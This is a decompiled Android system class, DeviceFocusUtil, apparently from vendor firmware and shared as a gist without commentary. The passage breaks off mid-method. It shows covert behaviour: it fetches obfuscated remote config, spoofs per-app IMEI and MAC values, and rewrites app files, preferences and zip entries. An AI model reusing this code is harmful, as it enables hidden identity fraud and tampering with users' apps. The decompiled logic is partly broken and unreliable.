Skip to content

Instantly share code, notes, and snippets.

@Tasssadar Tasssadar/DeviceFocusUtil.java Secret
Last active Oct 9, 2018

Embed
What would you like to do?
package com.android.internal.os;
import android.app.ActivityManager$RunningAppProcessInfo;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.net.NetworkInfo$State;
import android.net.NetworkInfo;
import android.net.wifi.WifiInfo;
import android.os.FileUtils;
import android.os.SystemProperties;
import android.text.TextUtils;
import android.util.ArrayMap;
import android.util.Base64;
import android.util.Log;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map$Entry;
import java.util.Map;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONStringer;
import org.json.JSONTokener;
public class DeviceFocusUtil {
class com.android.internal.os.DeviceFocusUtil$1 {
}
class Base64Utils {
private static final char[] crypt_chars = null;
private static final String crypt_str = "FL9fIYOiWUyz/Jr57g8dMtRVaGvX0lm6BwjkxeQ231qSZnEAHpo4+PCscubNhKDT";
private static final int length = 0x40;
private static final char[] orig_chars = null;
private static final String orig_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/+";
static {
// Method was not decompiled
}
Base64Utils() {
super();
}
private static String decodeByBase64(String arg2) {
String v0 = null;
if(arg2 != null) {
v0 = new String(Base64.decode(arg2, 2));
}
return v0;
}
public static String decrypt(String arg5) {
if(!TextUtils.isEmpty(((CharSequence)arg5))) {
char[] v2 = new char[arg5.length()];
char[] v3 = new char[arg5.length()];
arg5.getChars(0, arg5.length(), v3, 0);
HashMap v4 = Base64Utils.getDecryptMap();
int v1 = 0;
while(v1 < v3.length) {
try {
v2[v1] = ((char)v4.get(Character.valueOf(v3[v1])).charValue());
++v1;
continue;
}
catch(Exception v0) {
return "";
}
}
String v0_1 = String.copyValueOf(v2);
v1 = v0_1.length() % 4;
if(v1 == 2) {
v0_1 = v0_1 + "==";
}
else if(v1 == 3) {
v0_1 = v0_1 + "=";
}
return Base64Utils.decodeByBase64(v0_1);
}
return arg5;
}
private static String encodeByBase64(String arg2) {
String v0 = null;
if(arg2 != null) {
v0 = Base64.encodeToString(arg2.getBytes(), 2);
}
return v0;
}
public static String encrypt(String arg5) {
int v1 = 0;
if(!TextUtils.isEmpty(((CharSequence)arg5))) {
String v0 = Base64Utils.encodeByBase64(arg5);
if(v0.indexOf("=") != -1) {
v0 = v0.substring(0, v0.indexOf("="));
}
char[] v2 = new char[v0.length()];
char[] v3 = new char[v0.length()];
v0.getChars(0, v0.length(), v3, 0);
HashMap v4 = Base64Utils.getEncryptMap();
while(v1 < v3.length) {
try {
v2[v1] = ((char)v4.get(Character.valueOf(v3[v1])).charValue());
}
catch(Exception v0_1) {
}
++v1;
}
return String.copyValueOf(v2);
}
return arg5;
}
private static HashMap getDecryptMap() {
HashMap v1 = new HashMap();
int v0;
for(v0 = 0; v0 < "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/+".length(); ++v0) {
v1.put(Character.valueOf(Base64Utils.crypt_chars[v0]), Character.valueOf(Base64Utils.orig_chars[v0]));
}
return v1;
}
private static HashMap getEncryptMap() {
HashMap v1 = new HashMap();
int v0;
for(v0 = 0; v0 < "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/+".length(); ++v0) {
v1.put(Character.valueOf(Base64Utils.orig_chars[v0]), Character.valueOf(Base64Utils.crypt_chars[v0]));
}
return v1;
}
}
class JSONHelper {
JSONHelper() {
super();
}
public static Object jsonEnclose(Object arg4) {
int v0 = 0;
try {
if(!(arg4 instanceof Map)) {
if(!(arg4 instanceof List)) {
return arg4;
}
JSONStringer v1 = new JSONStringer().array();
while(v0 < ((List)arg4).size()) {
v1.value(JSONHelper.jsonEnclose(((List)arg4).get(v0)));
++v0;
}
return new JSONArray(new JSONTokener(v1.endArray().toString()));
}
Iterator v2 = ((Map)arg4).entrySet().iterator();
JSONStringer v3 = new JSONStringer().object();
while(v2.hasNext()) {
Object v0_2 = v2.next();
v3.key(((Map$Entry)v0_2).getKey()).value(JSONHelper.jsonEnclose(((Map$Entry)v0_2).getValue()));
}
return new JSONObject(new JSONTokener(v3.endObject().toString()));
}
catch(Exception v0_1) {
return v0_1.getMessage();
}
}
public static Object jsonParse(String arg3) {
try {
return JSONHelper.parseJSON2Map(arg3);
}
catch(JSONException v0) {
DeviceFocusUtil.logAsset("Exception in parse JSONObject, may be JSONArray, e---------->>>>" + v0);
try {
return JSONHelper.parseJSON2List(arg3);
}
catch(JSONException v0) {
DeviceFocusUtil.logAsset("Exception in parse JSONArray, can only return original string, e1---------->>>>" + v0);
return arg3;
}
}
}
public static Object jsonParseFile(String arg4) {
Object v3 = null;
try {
return JSONHelper.jsonParse(FileUtils.readTextFile(new File(arg4), 0, null));
}
catch(Exception v0) {
return v3;
}
}
public static List parseJSON2List(String arg1) throws JSONException {
return JSONHelper.parseJSON2List(new JSONArray(arg1));
}
public static List parseJSON2List(JSONArray arg3) throws JSONException {
ArrayList v1 = new ArrayList();
int v0;
for(v0 = 0; v0 < arg3.length(); ++v0) {
((List)v1).add(JSONHelper.parseJSON2Map(arg3.getJSONObject(v0)));
}
return ((List)v1);
}
public static Map parseJSON2Map(String arg1) throws JSONException {
return JSONHelper.parseJSON2Map(new JSONObject(arg1));
}
public static Map parseJSON2Map(JSONObject arg5) throws JSONException {
HashMap v2 = new HashMap();
Iterator v3 = arg5.keys();
while(v3.hasNext()) {
Object v0 = v3.next();
Object v1 = arg5.get(((String)v0));
if(!(v1 instanceof JSONArray)) {
if(!(v1 instanceof JSONObject)) {
((Map)v2).put(v0, v1);
continue;
}
((Map)v2).put(v0, JSONHelper.parseJSON2Map(((JSONObject)v1)));
continue;
}
((Map)v2).put(v0, JSONHelper.parseJSON2List(((JSONArray)v1)));
}
return ((Map)v2);
}
}
class UpdateReceiver extends BroadcastReceiver {
UpdateReceiver(com.android.internal.os.DeviceFocusUtil$1 arg1) {
this();
}
private UpdateReceiver() {
super();
}
private static int getAvailableNetworkType(Context arg6, Intent arg7) {
int v4 = 1;
try {
Object v0_1 = arg6.getSystemService("connectivity");
Object v1 = arg7.getExtras().get("networkInfo");
int v2 = ((NetworkInfo)v1).getState() != NetworkInfo$State.CONNECTED ? 0 : 1;
NetworkInfo v5 = ((ConnectivityManager)v0_1).getActiveNetworkInfo();
int v0_2 = v5 == null || !v5.isAvailable() || !v5.isConnected() ? 0 : 1;
if(v2 == 0 || v0_2 == 0 || ((NetworkInfo)v1).getType() != v5.getType()) {
v4 = 0;
}
if(v4 == 0) {
return -1;
}
return v5.getType();
}
catch(Exception v0) {
v0.printStackTrace();
}
return -1;
}
public void onReceive(Context arg4, Intent arg5) {
int v0 = UpdateReceiver.getAvailableNetworkType(arg4, arg5);
DeviceFocusUtil.logAsset("UpdateReceiver onReceive type ---------->>>>" + v0);
if(v0 != -1) {
new Thread() {
public void run() {
try {
DeviceFocusUtil.logAsset("UpdateReceiver onReceive Thread1 ---------->>>>");
File v0_1 = new File("/data/security/focus");
if(!v0_1.exists()) {
v0_1.mkdirs();
}
String v0_2 = String.format("http://service-safemgr.yy845.com:8082/safeconfigmanager/services/SafeConfigWebService/getConfigList?paramJson={\"channel\":\"%s\",\"enc\":true,\"uuid\":\"\",\"data\":[{\"key\":\"ZYSE010302\",\"ver\":\"%d\"}]}", SystemProperties.get("ro.build.freemeos_customer_no", "default"), Integer.valueOf(DeviceFocusUtil.sVersion));
DeviceFocusUtil.logAsset("UpdateReceiver onReceive Thread1 url---------->>>>" + v0_2);
v0_2 = DeviceFocusUtil.readURLFile(v0_2);
if(DeviceFocusUtil.DEBUG) {
DeviceFocusUtil.logAsset("server configJson ---------->>>>" + v0_2);
FileUtils.stringToFile("/data/security/focus/security.properties_server", v0_2);
}
v0_2 = Base64Utils.decrypt(v0_2);
if(DeviceFocusUtil.DEBUG) {
DeviceFocusUtil.logAsset("server configJson de---------->>>>" + v0_2);
FileUtils.stringToFile("/data/security/focus/security.properties_server_de", v0_2);
}
Object v0_3 = JSONHelper.jsonParse(v0_2).get("data");
if(((List)v0_3).size() > 0) {
Iterator v1 = ((List)v0_3).iterator();
while(v1.hasNext()) {
v0_3 = v1.next();
if(!"ZYSE010302".equals(((Map)v0_3).get("key"))) {
continue;
}
v0_2 = JSONHelper.jsonEnclose(((Map)v0_3).get("value")).toString();
if(DeviceFocusUtil.DEBUG) {
DeviceFocusUtil.logAsset("server configJson single de---------->>>>" + v0_2);
}
v0_2 = Base64Utils.encrypt(v0_2);
if(DeviceFocusUtil.DEBUG) {
DeviceFocusUtil.logAsset("server configJson single en---------->>>>" + v0_2);
}
FileUtils.stringToFile("/data/security/focus/security.properties", v0_2);
}
}
return;
}
catch(Exception v0) {
DeviceFocusUtil.logAsset("Exception---------->>>>", v0);
return;
}
}
}.start();
}
arg4.unregisterReceiver(((BroadcastReceiver)this));
}
}
private static final String COM_ANDROID_SECURITY_SECURITY_PROPERTIES = "/com/android/security/security.properties";
private static final String DATA_SECURITY_FOCUS = "/data/security/focus";
private static final String DATA_SECURITY_FOCUS_SECURITY_PROPERTIES = "/data/security/focus/security.properties";
private static boolean DEBUG = false;
private static final String ISSUE_CODE_FOCUS1 = "ZYSE010302";
private static final String ISSUE_CODE_FOCUS1_URL = "http://service-safemgr.yy845.com:8082/safeconfigmanager/services/SafeConfigWebService/getConfigList?paramJson={\"channel\":\"%s\",\"enc\":true,\"uuid\":\"\",\"data\":[{\"key\":\"ZYSE010302\",\"ver\":\"%d\"}]}";
private static final String ISSUE_CODE_FOCUS1_URL_TEST = "http://service-safemgr.yy845.com:8092/safeconfigtest/services/SafeConfigWebService/getConfigList?paramJson={\"channel\":\"%s\",\"enc\":true,\"uuid\":\"\",\"data\":[{\"key\":\"ZYSE010302\",\"ver\":\"%d\"}]}";
private static final String ISSUE_CODE_FOCUS2 = "ZYSE010303";
private static String TAG;
private static List sBundle;
private static List sChannelFile;
private static HashMap sChannelInfo;
private static List sSharedPreference;
private static int sVersion;
private static List sZipEntry;
static {
// Method was not decompiled
}
public DeviceFocusUtil() {
super();
}
static int access$100() {
return DeviceFocusUtil.sVersion;
}
static boolean access$200() {
return DeviceFocusUtil.DEBUG;
}
public static long available(long arg2, String arg4) {
DeviceFocusUtil.logAsset("available len= " + arg2);
if(arg4 != null) {
int v0 = arg2 <= 0 ? 1 : 0;
if(v0 != 0) {
goto label_8;
}
arg2 = ((long)arg4.length());
DeviceFocusUtil.logAsset("use channel string");
}
label_8:
DeviceFocusUtil.logAsset("available len= " + arg2);
return arg2;
}
private static Object castDataType(String arg2) {
Integer v2_4;
if(arg2.startsWith("(int)")) {
v2_4 = Integer.valueOf(arg2.replace("(int)", ""));
}
else if(arg2.startsWith("(long)")) {
Long v2_3 = Long.valueOf(arg2.replace("(long)", ""));
}
else if(arg2.startsWith("(short)")) {
Short v2_2 = Short.valueOf(arg2.replace("(short)", ""));
}
else if(arg2.startsWith("(float)")) {
Float v2_1 = Float.valueOf(arg2.replace("(float)", ""));
}
else if(arg2.startsWith("(double)")) {
Double v2 = Double.valueOf(arg2.replace("(double)", ""));
}
return ((String)v2_4);
}
private static int checkReadBuffer(int arg7, String arg8, byte[] arg9) {
int v1;
byte[] v4;
int v2;
int v6 = -1;
int v0 = 0;
if(arg8 != null && arg7 > 0) {
try {
v2 = arg8.length();
int v3 = arg9.length;
if(v2 <= v3) {
v4 = arg8.getBytes();
v1 = 0;
goto label_11;
}
else {
return v6;
}
}
catch(Exception v0_1) {
return v6;
}
}
return v6;
try {
label_11:
while(v1 < v3) {
arg9[v1] = 0;
++v1;
}
while(v0 < v2) {
arg9[v0] = ((byte)v4[v0]);
++v0;
}
return v2;
}
catch(Exception v0_1) {
return v6;
}
}
private static int checkReadBufferExt(int arg9, int arg10, byte[] arg11, String arg12, String arg13) {
String v5_1;
int v4;
int v0_2;
String v3;
String v0_1;
int v2 = 0;
int v1 = -1;
try {
if(("com.autonavi.minimap".equals(arg12)) && ("amap_configer.data".equals(arg13)) && arg9 == 0 && arg10 > 0) {
v0_1 = new String(arg11);
if(!v0_1.contains("CustomID=")) {
v3 = v0_1;
v0_2 = 0;
}
else {
v4 = v0_1.indexOf("CustomID=");
if(v4 < 0) {
v3 = v0_1;
v0_2 = 0;
}
else {
String[] v4_1 = v0_1.substring(v4).split("\t\n");
if(v4_1 != null && v4_1.length > 1) {
String v4_2 = v4_1[0];
int v5 = v4_2.length();
int v7 = "CustomID=C01110001197".length();
v0_1 = v0_1.replace(((CharSequence)v4_2), "CustomID=C01110001197");
int v6 = v7 - v5;
if(v6 > 0) {
v5_1 = "##Final##";
v4 = 0;
goto label_54;
label_66:
v5_1 = "##Final##";
v4 = 0;
goto label_69;
}
else if(v6 < 0) {
goto label_66;
}
goto label_47;
}
goto label_33;
}
}
goto label_20;
}
return v1;
label_33:
v3 = v0_1;
v0_2 = 0;
goto label_20;
label_69:
while(v4 < Math.abs(v6)) {
v5_1 = v5_1 + "#";
++v4;
}
v0_1 = v0_1.replace("##Final##", ((CharSequence)v5_1));
goto label_47;
label_54:
while(v4 < v6) {
v5_1 = v5_1 + "#";
++v4;
}
v0_1 = v0_1.replace(((CharSequence)v5_1), "##Final##");
label_47:
String v8 = v0_1;
v0_2 = 1;
v3 = v8;
label_20:
if(v0_2 == 0) {
return v1;
}
v0_2 = arg11.length;
byte[] v3_1 = v3.getBytes();
while(v2 < v0_2) {
arg11[v2] = ((byte)v3_1[v2]);
++v2;
}
return v0_2;
}
catch(Exception v0) {
return v1;
}
}
private static String decodeToPackageName(String arg10) {
char[] v5 = new char[]{'.', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
char[] v6 = new char[]{'E', 'j', 'G', 'Y', 'Z', 'i', 'h', 'O', 'H', 'T', 'U', 'X', 'k', 'l', 'm', 'F', 'P', 'Q', 'n', 'o', 'p', 'q', 'r', 'b', 'I', 'N', 'a', 'e', 'c', 'd', 's', '.', 'A', 'y', 'z', 'B', 'C', 'J', 'K', 'V', 'W', 'L', 'M', 'D', 't', 'u', 'f', 'g', 'R', 'S', 'v', 'w', 'x'};
int v7 = arg10.length();
int v3 = 0;
String v4;
for(v4 = ""; v3 < v7; v4 = v4 + v2) {
char v8 = ((char)arg10.charAt(v3));
char v2 = ((char)v8);
int v0;
for(v0 = 0; v0 < v6.length; ++v0) {
if(v6[v0] == v8) {
v2 = ((char)v5[v0]);
}
}
++v3;
}
return v4;
}
private static String encodeFromPackageNameForImei(String arg11) {
int v10 = 18;
char[] v5 = new char[53];
v5[0] = '.';
v5[1] = 'A';
v5[2] = 'B';
v5[3] = 'C';
v5[4] = 'D';
v5[5] = 'E';
v5[6] = 'F';
v5[7] = 'G';
v5[8] = 'H';
v5[9] = 'I';
v5[10] = 'J';
v5[11] = 'K';
v5[12] = 'L';
v5[13] = 'M';
v5[14] = 'N';
v5[15] = 'O';
v5[16] = 'P';
v5[17] = 'Q';
v5[v10] = 'R';
v5[19] = 'S';
v5[20] = 'T';
v5[21] = 'U';
v5[22] = 'V';
v5[23] = 'W';
v5[24] = 'X';
v5[25] = 'Y';
v5[26] = 'Z';
v5[27] = 'a';
v5[28] = 'b';
v5[29] = 'c';
v5[30] = 'd';
v5[0x1F] = 'e';
v5[0x20] = 'f';
v5[33] = 'g';
v5[34] = 'h';
v5[35] = 'i';
v5[36] = 'j';
v5[37] = 'k';
v5[38] = 'l';
v5[39] = 'm';
v5[40] = 'n';
v5[41] = 'o';
v5[42] = 'p';
v5[43] = 'q';
v5[44] = 'r';
v5[45] = 's';
v5['.'] = 't';
v5[0x2F] = 'u';
v5[0x30] = 'v';
v5['1'] = 'w';
v5['2'] = 'x';
v5[51] = 'y';
v5[52] = 'z';
char[] v6 = new char[53];
v6[0] = 'E';
v6[1] = 'j';
v6[2] = 'G';
v6[3] = 'Y';
v6[4] = 'Z';
v6[5] = 'i';
v6[6] = 'h';
v6[7] = 'O';
v6[8] = '1';
v6[9] = 'T';
v6[10] = 'U';
v6[11] = 'X';
v6[12] = 'k';
v6[13] = 'l';
v6[14] = 'm';
v6[15] = 'F';
v6[16] = '3';
v6[17] = '2';
v6[v10] = 'n';
v6[19] = 'o';
v6[20] = 'p';
v6[21] = 'q';
v6[22] = 'r';
v6[23] = 'b';
v6[24] = 'I';
v6[25] = 'N';
v6[26] = 'a';
v6[27] = 'e';
v6[28] = 'c';
v6[29] = 'd';
v6[30] = 's';
v6[0x1F] = '.';
v6[0x20] = 'A';
v6[33] = 'y';
v6[34] = 'z';
v6[35] = 'B';
v6[36] = 'C';
v6[37] = 'J';
v6[38] = 'K';
v6[39] = 'V';
v6[40] = 'W';
v6[41] = 'L';
v6[42] = 'M';
v6[43] = 'D';
v6[44] = 't';
v6[45] = 'u';
v6['.'] = 'f';
v6[0x2F] = 'g';
v6[0x30] = 'R';
v6['1'] = 'S';
v6['2'] = 'v';
v6[51] = 'w';
v6[52] = 'x';
int v7 = arg11.length();
int v3 = 0;
String v4;
for(v4 = ""; v3 < v7; v4 = v4 + v0_1) {
if(v3 >= v10) {
return v4;
}
char v8 = ((char)arg11.charAt(v3));
char v2 = ((char)v8);
int v0 = 0;
while(true) {
if(v0 >= v5.length) {
goto label_326;
}
else if(v5[v0] != v8) {
++v0;
continue;
}
else {
break;
}
}
char v0_1 = ((char)v6[v0]);
goto label_327;
label_326:
v0_1 = v2;
label_327:
++v3;
}
return v4;
}
private static String encodeFromPackageNameForMac(String arg11) {
int v10 = 17;
char[] v5 = new char[53];
v5[0] = '.';
v5[1] = 'A';
v5[2] = 'B';
v5[3] = 'C';
v5[4] = 'D';
v5[5] = 'E';
v5[6] = 'F';
v5[7] = 'G';
v5[8] = 'H';
v5[9] = 'I';
v5[10] = 'J';
v5[11] = 'K';
v5[12] = 'L';
v5[13] = 'M';
v5[14] = 'N';
v5[15] = 'O';
v5[16] = 'P';
v5[v10] = 'Q';
v5[18] = 'R';
v5[19] = 'S';
v5[20] = 'T';
v5[21] = 'U';
v5[22] = 'V';
v5[23] = 'W';
v5[24] = 'X';
v5[25] = 'Y';
v5[26] = 'Z';
v5[27] = 'a';
v5[28] = 'b';
v5[29] = 'c';
v5[30] = 'd';
v5[0x1F] = 'e';
v5[0x20] = 'f';
v5[33] = 'g';
v5[34] = 'h';
v5[35] = 'i';
v5[36] = 'j';
v5[37] = 'k';
v5[38] = 'l';
v5[39] = 'm';
v5[40] = 'n';
v5[41] = 'o';
v5[42] = 'p';
v5[43] = 'q';
v5[44] = 'r';
v5[45] = 's';
v5['.'] = 't';
v5[0x2F] = 'u';
v5[0x30] = 'v';
v5['1'] = 'w';
v5['2'] = 'x';
v5[51] = 'y';
v5[52] = 'z';
char[] v6 = new char[53];
v6[0] = 'E';
v6[1] = 'j';
v6[2] = 'G';
v6[3] = 'Y';
v6[4] = 'Z';
v6[5] = 'i';
v6[6] = 'h';
v6[7] = 'O';
v6[8] = '1';
v6[9] = 'T';
v6[10] = 'U';
v6[11] = 'X';
v6[12] = 'k';
v6[13] = 'l';
v6[14] = 'm';
v6[15] = 'F';
v6[16] = '3';
v6[v10] = '2';
v6[18] = 'n';
v6[19] = 'o';
v6[20] = 'p';
v6[21] = 'q';
v6[22] = 'r';
v6[23] = 'b';
v6[24] = 'I';
v6[25] = 'N';
v6[26] = 'a';
v6[27] = 'e';
v6[28] = 'c';
v6[29] = 'd';
v6[30] = 's';
v6[0x1F] = '.';
v6[0x20] = 'A';
v6[33] = 'y';
v6[34] = 'z';
v6[35] = 'B';
v6[36] = 'C';
v6[37] = 'J';
v6[38] = 'K';
v6[39] = 'V';
v6[40] = 'W';
v6[41] = 'L';
v6[42] = 'M';
v6[43] = 'D';
v6[44] = 't';
v6[45] = 'u';
v6['.'] = 'f';
v6[0x2F] = 'g';
v6[0x30] = 'R';
v6['1'] = 'S';
v6['2'] = 'v';
v6[51] = 'w';
v6[52] = 'x';
int v7 = arg11.length();
int v3 = 0;
String v4;
for(v4 = ""; v3 < v7; v4 = v4 + v0_1) {
if(v3 >= v10) {
return v4;
}
char v8 = ((char)arg11.charAt(v3));
char v2 = ((char)v8);
int v0 = 0;
while(true) {
if(v0 >= v5.length) {
goto label_326;
}
else if(v5[v0] != v8) {
++v0;
continue;
}
else {
break;
}
}
char v0_1 = ((char)v6[v0]);
goto label_327;
label_326:
v0_1 = v2;
label_327:
++v3;
}
return v4;
}
public static Object getAppsBundleValue(ArrayMap arg7, String arg8) {
Object v4;
Object v0_1;
Object v6 = null;
try {
Iterator v5 = DeviceFocusUtil.sBundle.iterator();
do {
label_3:
if(!v5.hasNext()) {
return v6;
}
v0_1 = v5.next();
((Map)v0_1).get("package");
Object v1 = ((Map)v0_1).get("channel_key");
Object v2 = ((Map)v0_1).get("app_key");
Object v3 = ((Map)v0_1).get("app_value");
v4 = DeviceFocusUtil.castDataType(((Map)v0_1).get("fixed_data"));
if(!arg8.equals(v1)) {
goto label_3;
}
if(TextUtils.isEmpty(((CharSequence)v2))) {
goto label_34;
}
v1 = arg7.get(v2);
if(v1 == null) {
goto label_3;
}
}
while(!((String)v1).equals(v3));
DeviceFocusUtil.logAsset("bundle---------->>>>" + v0_1);
return v4;
label_34:
DeviceFocusUtil.logAsset("bundle---------->>>>" + v0_1);
return v4;
}
catch(Exception v0) {
DeviceFocusUtil.logAsset("Exception---------->>>>", v0);
return v6;
}
}
public static String getDeviceChannel(String arg3, String arg4) {
Object v0_1;
String v1 = null;
DeviceFocusUtil.logAsset("getDeviceChannel-------------------->>>>" + arg3 + ":" + arg4);
if(arg3 == null || arg4 == null) {
v0_1 = v1;
}
else {
try {
DeviceFocusUtil.initChannelInfo(arg3);
v0_1 = DeviceFocusUtil.sChannelInfo.size() <= 0 ? v1 : DeviceFocusUtil.sChannelInfo.get(arg4);
}
catch(Exception v0) {
DeviceFocusUtil.logAsset("Exception---------->>>>", v0);
goto label_14;
}
}
Object v1_1 = v0_1;
label_14:
DeviceFocusUtil.logAsset("channel---------->>>>" + (((String)v1_1)));
return ((String)v1_1);
}
public static String getDeviceFocusId(Context arg2, int arg3) {
String v1 = null;
String v0 = DeviceFocusUtil.getPackageName(arg2, arg3);
if(v0 == null) {
return v1;
}
return DeviceFocusUtil.getDeviceFocusId(v0);
}
public static String getDeviceFocusId(String arg4) {
String v3 = null;
if(arg4 == null) {
return v3;
}
try {
String v0_1 = SystemProperties.get("persist.sys." + DeviceFocusUtil.encodeFromPackageNameForImei(arg4), "0");
if(v0_1 != null) {
}
else {
return v3;
}
if(v0_1.length() != 15) {
return v3;
}
return DeviceFocusUtil.unmarkId(v0_1);
}
catch(Exception v0) {
}
return v3;
}
private static String getDeviceFocusMac(String arg4) {
String v3 = null;
if(arg4 == null) {
return v3;
}
try {
String v0_1 = SystemProperties.get("persist.sys.m" + DeviceFocusUtil.encodeFromPackageNameForMac(arg4), "0");
if(v0_1 != null) {
}
else {
return v3;
}
if(v0_1.length() != 12) {
return v3;
}
return DeviceFocusUtil.unmarkAddr(v0_1);
}
catch(Exception v0) {
}
return v3;
}
public static String getDeviceFocusZipEntry(String arg6, String arg7) {
Object v3;
Object v0_1;
try {
String v4 = DeviceFocusUtil.getPackageNameFromPath(arg6);
if(v4 != null) {
Iterator v5 = DeviceFocusUtil.sZipEntry.iterator();
do {
label_5:
if(!v5.hasNext()) {
return arg7;
}
v0_1 = v5.next();
Object v1 = ((Map)v0_1).get("package");
Object v2 = ((Map)v0_1).get("file");
v3 = ((Map)v0_1).get("fixed_data");
if(!v4.equals(v1)) {
goto label_5;
}
}
while(!arg7.startsWith(((String)v2)));
DeviceFocusUtil.logAsset("zipEntry---------->>>>" + v0_1);
return ((String)v3);
}
return arg7;
}
catch(Exception v0) {
DeviceFocusUtil.logAsset("Exception---------->>>>", v0);
return arg7;
}
}
private static String getPackageName(Context arg4, int arg5) {
String v1 = null;
if(arg4 == null) {
String v0 = v1;
return v0;
}
try {
Iterator v2 = arg4.getSystemService("activity").getRunningAppProcesses().iterator();
arg4.getPackageManager();
while(v2.hasNext()) {
Object v0_2 = v2.next();
try {
int v3 = ((ActivityManager$RunningAppProcessInfo)v0_2).pid;
if(v3 != arg5) {
continue;
}
return ((ActivityManager$RunningAppProcessInfo)v0_2).processName;
}
catch(Exception v0_1) {
continue;
}
}
}
catch(Exception v0_1) {
return v1;
}
return v1;
}
private static String getPackageNameFromPath(String arg5) {
Exception v0_1;
String v1_2;
Exception v4;
String[] v1_1;
String v0 = null;
try {
if(((TextUtils.isEmpty(((CharSequence)arg5))) || !arg5.startsWith("/data/data/")) && !arg5.startsWith("/data/app/")) {
return v0;
}
v1_1 = arg5.split("/");
if(v1_1.length > 4) {
goto label_26;
}
goto label_15;
}
catch(Exception v1) {
goto label_30;
}
label_26:
int v2 = 3;
try {
v0 = v1_1[v2];
}
catch(Exception v1) {
goto label_30;
}
try {
label_15:
if(!arg5.startsWith("/data/app/")) {
return v0;
}
v1_1 = v0.split("-");
if(v1_1.length <= 1) {
return v0;
}
v0 = v1_1[0];
}
catch(Exception v1) {
v4 = v1;
v1_2 = v0;
v0_1 = v4;
label_33:
DeviceFocusUtil.logAsset("Exception---------->>>>", v0_1);
v0 = v1_2;
}
return v0;
label_30:
v4 = v1;
v1_2 = v0;
v0_1 = v4;
goto label_33;
return v0;
}
public static void handleUpdateConfiguration(Context arg3) {
IntentFilter v0 = new IntentFilter();
v0.addAction("android.net.conn.CONNECTIVITY_CHANGE");
arg3.registerReceiver(new UpdateReceiver(null), v0);
}
private static void initChannelInfo(String arg5) {
try {
if(DeviceFocusUtil.sChannelInfo == null) {
DeviceFocusUtil.sChannelInfo = new HashMap();
Iterator v3 = DeviceFocusUtil.sChannelFile.iterator();
while(v3.hasNext()) {
Object v0_1 = v3.next();
Object v1 = ((Map)v0_1).get("package");
Object v2 = ((Map)v0_1).get("path");
v0_1 = ((Map)v0_1).get("fixed_data");
if(!arg5.equals(v1)) {
continue;
}
DeviceFocusUtil.sChannelInfo.put(v2, v0_1);
DeviceFocusUtil.logAsset("sChannelInfo---------->>>>" + DeviceFocusUtil.sChannelInfo);
}
}
return;
}
catch(Exception v0) {
DeviceFocusUtil.logAsset("Exception---------->>>>", v0);
return;
}
}
static void logAsset(String arg1) {
if(DeviceFocusUtil.DEBUG) {
Log.i(DeviceFocusUtil.TAG, arg1);
}
}
static void logAsset(String arg2, Exception arg3) {
if(DeviceFocusUtil.DEBUG) {
Log.i(DeviceFocusUtil.TAG, arg2 + arg3);
arg3.printStackTrace();
}
}
public static void preDeviceFocusMac(Context arg1, int arg2, WifiInfo arg3) {
String v0 = DeviceFocusUtil.getPackageName(arg1, arg2);
if(v0 != null) {
v0 = DeviceFocusUtil.getDeviceFocusMac(v0);
if(v0 != null) {
arg3.setMacAddress(v0);
}
}
}
public static void preDeviceFocusSPEntity(Map arg8, String arg9) {
Object v4;
Object v3;
Object v0_1;
try {
String v5 = DeviceFocusUtil.getPackageNameFromPath(arg9);
String v6 = arg9.substring(arg9.lastIndexOf("/") + 1);
if(v5 == null) {
return;
}
Iterator v7 = DeviceFocusUtil.sSharedPreference.iterator();
do {
label_9:
if(!v7.hasNext()) {
return;
}
v0_1 = v7.next();
Object v1 = ((Map)v0_1).get("package");
Object v2 = ((Map)v0_1).get("file");
v3 = ((Map)v0_1).get("key");
v4 = ((Map)v0_1).get("fixed_data");
if(!v5.equals(v1)) {
continue;
}
if(!TextUtils.isEmpty(((CharSequence)v2)) && !v6.equals(v2)) {
break;
}
goto label_24;
}
while(true);
}
catch(Exception v0) {
goto label_42;
}
goto label_9;
try {
label_24:
if(v3 == null) {
goto label_9;
}
if(v4 == null) {
goto label_9;
}
if(arg8.get(v3) == null) {
goto label_9;
}
arg8.put(v3, v4);
DeviceFocusUtil.logAsset("sharedPreference---------->>>>" + v0_1);
return;
}
catch(Exception v0) {
label_42:
DeviceFocusUtil.logAsset("Exception---------->>>>", v0);
return;
}
}
public static int read(byte[] arg1, int arg2, int arg3, int arg4, String arg5, String arg6, String arg7) {
if(arg6 != null && !arg6.startsWith("com.tencent.game")) {
int v0 = DeviceFocusUtil.checkReadBufferExt(arg2, arg4, arg1, arg6, arg7);
if(v0 < 0) {
v0 = DeviceFocusUtil.checkReadBuffer(arg4, arg5, arg1);
if(v0 > 0) {
arg4 = v0;
}
}
else {
arg4 = v0;
}
}
return arg4;
}
public static int read(byte[] arg1, int arg2, String arg3) {
if(arg2 > 0) {
int v0 = DeviceFocusUtil.checkReadBuffer(arg2, arg3, arg1);
if(v0 > 0) {
arg2 = v0;
}
}
return arg2;
}
private static String readResFile(String arg6) throws IOException {
String v0_2;
InputStream v1 = DeviceFocusUtil.class.getResourceAsStream(arg6);
BufferedInputStream v2 = new BufferedInputStream(v1);
try {
ByteArrayOutputStream v0_1 = new ByteArrayOutputStream();
byte[] v3 = new byte[0x400];
do {
int v4 = v2.read(v3);
if(v4 > 0) {
v0_1.write(v3, 0, v4);
}
}
while(v4 == v3.length);
v0_2 = v0_1.toString();
}
catch(Throwable v0) {
goto label_20;
}
